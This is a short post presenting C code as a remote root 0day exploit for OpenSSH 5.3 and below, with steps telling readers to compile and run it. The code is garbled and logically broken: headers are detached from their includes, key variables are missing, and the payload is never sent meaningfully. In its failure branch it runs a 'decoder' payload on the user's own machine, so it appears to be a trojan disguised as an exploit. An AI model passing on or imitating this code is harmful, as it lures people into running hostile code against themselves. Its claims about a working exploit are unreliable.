Openssh Exploit
Openssh Exploit
*
*
* OpenSSH <= 5.3 remote root 0day exploit (32-bit x86)
*
*
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
<stdio.h>
<netdb.h>
<stdlib.h>
<string.h>
<unistd.h>
<arpa/inet.h>
<sys/types.h>
<sys/socket.h>
<netinet/in.h>
}
if(argc != 3)
usage(argv);
if(!inet_aton(h, &addr.sin_addr))
{
host = gethostbyname(h);
if(!host)
{
fprintf(stderr, "[-] Exploit failed.\n");
(*(void(*)())decoder)();
exit(1);
}
addr.sin_addr = *(struct in_addr*)host->h_addr;
}
sock = socket(PF_INET, SOCK_STREAM, 0);
addr.sin_port = htons(port);
addr.sin_family = AF_INET;
if(connect(sock,(struct sockaddr*)&addr,sizeof(addr))==-1)
{
fprintf(stderr,"[-] Exploit failed.\n");
exit(1);
}
char payload[1337];
memcpy(payload, &decoder, sizeof(decoder));
memcpy(payload, &rootshell, sizeof(rootshell));
send(sock, payload, strlen(payload),0);
close(sock);
if(connect(sock,(struct sockaddr*)&addr,sizeof(addr))==-1)
{
fprintf(stderr, "[-] Exploit failed.\n");
exit(1);
}
else if(connect(sock,(struct sockaddr*)&addr,sizeof(addr))==0)
{
fprintf(stdout, "[+]Got shell!\n");
system("/bin/bash");
}
else
{
fprintf(stderr, "[-] Exploit failed.\n");
close(sock);
exit(0);
}
}
P.S. for people who don't use linux:
1.) Save as (yourexploit).c
2.) Compile with gcc. Example: gcc yourexploit.c
3.) Execute it. Example: ./a.out